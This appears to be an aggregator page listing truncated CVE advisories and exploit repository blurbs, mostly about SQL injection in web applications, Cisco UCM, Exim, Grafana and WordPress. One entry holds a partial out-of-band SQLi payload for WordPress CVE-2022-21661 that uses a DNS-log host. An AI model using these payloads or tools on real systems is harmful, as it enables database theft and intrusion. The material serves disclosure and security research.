CVE-2026-112141

A vulnerability was determined in satya-vinay Events-Management-System up to 437c77ceb69bf9fe2e3f4f46f7871b83f425383a. Affected is the function mysqliquery of the file doedit.php of the component Registration-Edit Handler. This manipulation of the argument...

Cisco-UCM-SQLi-Scripts

CVE-2019-15972 Cisco UCM SQLi Scripts Scripts that can be used to exploit CVE-2019-15972 which was an Authenticated SQLi issue in Cisco Unified Call Manager UCM. Enumerate tables - enumerate all tables on the underlying database and place the table names in a text file Extract tables - take the...

CVE-2026-112142

A SQL injection vulnerability exists in the Registration-Delete Handler component of the satya-vinay Events-Management-System (up to commit 437c77ceb69bf9fe2e3f4f46f7871b83f425383a). The flaw is located within an unknown functionality of the dodelete.php file, where manipulation of the ID argumen...

CVE-2026-112142 satya-vinay Events-Management-System Registration-Delete dodelete.php sql injection

A vulnerability was identified in satya-vinay Events-Management-System up to 437c77ceb69bf9fe2e3f4f46f7871b83f425383a. Affected by this vulnerability is an unknown functionality of the file dodelete.php of the component Registration-Delete Handler. Such manipulation of the argument ID leads to sq...

EUVD-2026-104261

A vulnerability was identified in satya-vinay Events-Management-System up to 437c77ceb69bf9fe2e3f4f46f7871b83f425383a. Affected by this vulnerability is an unknown functionality of the file dodelete.php of the component Registration-Delete Handler. Such manipulation of the argument ID leads to sq...

bluemonday

bluemonday bluemonday is a HTML sanitizer implemented in Go. It is fast and highly configurable. bluemonday takes untrusted user generated content as an input, and will return HTML that has been sanitised against an allowlist of approved HTML elements and attributes so that you can safely include...

wordpress-CVE-2022-21661

wordpress-CVE-2022-21661 version5.8.3 path：http://your target/wp-admin/admin-ajax.php The injection type is out-of-band, you need to specify dnslog yourself and replace ceye.io POST- DATA："taxquery":"field":"termtaxonomyid","terms":"1 and ifselect loadfileconcat'\',select...

Wordpress-cve-CVE-2022-21661

Wordpress 5.8.2 CVE-2022-21661 Vuln enviroment This enviroment is setup with the Elementor Custom Skin, plugin to test the CVE-2022-21661. to start the enviroment console wp-lab$ ./start.sh To get the admin password get the log from the running container, a new pwd is generated every time the...

CVE-2025-26794

CVE-2025-26794: Blind SQL injection in Exim 4.98 SQLite DBM - exploit writeup Exim report: https://www.exim.org/static/doc/security/CVE-2025-26794.txt I discovered this vulnerability through a manual code review. Vulnerability details: Issue The SQL parameters, when SQLite is used as the DBM, are...

CVE-2026-112141

The satya-vinay Events-Management-System is vulnerable to SQL injection in the Registration-Edit Handler component. The flaw exists in the mysqli_query function within the doedit.php file. Attackers can manipulate the id, name, title, year, gender, fromdate, todate, or people arguments to execute...

CVE-2026-112141 satya-vinay Events-Management-System Registration-Edit doedit.php mysqli_query sql injection

A vulnerability was determined in satya-vinay Events-Management-System up to 437c77ceb69bf9fe2e3f4f46f7871b83f425383a. Affected is the function mysqliquery of the file doedit.php of the component Registration-Edit Handler. This manipulation of the argument...

EUVD-2026-104259

A vulnerability was determined in satya-vinay Events-Management-System up to 437c77ceb69bf9fe2e3f4f46f7871b83f425383a. Affected is the function mysqliquery of the file doedit.php of the component Registration-Edit Handler. This manipulation of the argument...

CVE-2021-32099

CVE-2021-32099 PoC This repository provides a Proof of Concept PoC exploit for the CVE-2021-32099 vulnerability, affecting Pandora FMS 742. The exploit shows how an unauthenticated attacker can leverage a SQL injection vulnerability to escalate an unprivileged session to an administrator-level...

CVE-2024-50491

CVE-2024-50491 RSVP ME = 1.9.9 - Unauthenticated SQL Injection Description The RSVP ME plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 1.9.9 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL...

SimpleCTF-THM-Walkthrough

SimpleCTF-THM-Relatory First CTF successfully completed! This repo documents my walkthrough of TryHackMe's Simple CTF. It covers network reconnaissance Nmap, web exploitation CVE-2019-9053, and credential cracking. As a dev, it was great to pivot from SQLi to a Root shell by leveraging Sudo...

CVE-2026-112139

A vulnerability has been found in subhajitkhan online-clinic-management-system up to e9ee77a8827a1446220fa07ee693dc4d9a29a578. This affects an unknown function of the file admindocview.php of the component Administrative Mutation Handler. The manipulation of the argument docid leads to sql...

CVE-2026-6433

CVE-2026-6433 — Proof of Concept FlipperCode — Custom CSS, JS & PHP · Unauthenticated SQL injection → RCE via eval Affected: FlipperCode Custom CSS, JS & PHP ≤ 2.0.7 · WordPress plugin surface via admin-ajax.php At a glance Item| Detail ---|--- Vector| Unauthenticated SQLi tunneled through plugin...

CVE-2024-9264

CVE-2024-9264 Grafana Post-Auth DuckDB SQL Injection RCE, File Read Proof of Concept PoC This PoC demonstrates the exploitation of CVE-2024-9264 using an authenticated user to perform a DuckDB SQL query and read an arbitrary file on the filesystem or execute arbitrary code remotely. Arbitrary cod...

wp2shell-poc

wp2shell-poc Independent proof-of-concept for the unauthenticated WordPress REST batch route-confusion SQL injection associated with Searchlight Cyber's wp2shell advisory. This repository is not Searchlight Cyber's official checker. check confirms the SQLi path, read demonstrates database read, a...

TraditionalJay

TraditionalJay Intentionally vulnerable classic / traditional shop for security workshops — Java on a VM EC2, Azure VM, or GCP Compute Engine, not containers. Primary story: Critical VM Compromise — SQL injection → Log4Shell CVE-2021-44228 → reverse shell to external C2. !CAUTION Do not deploy to...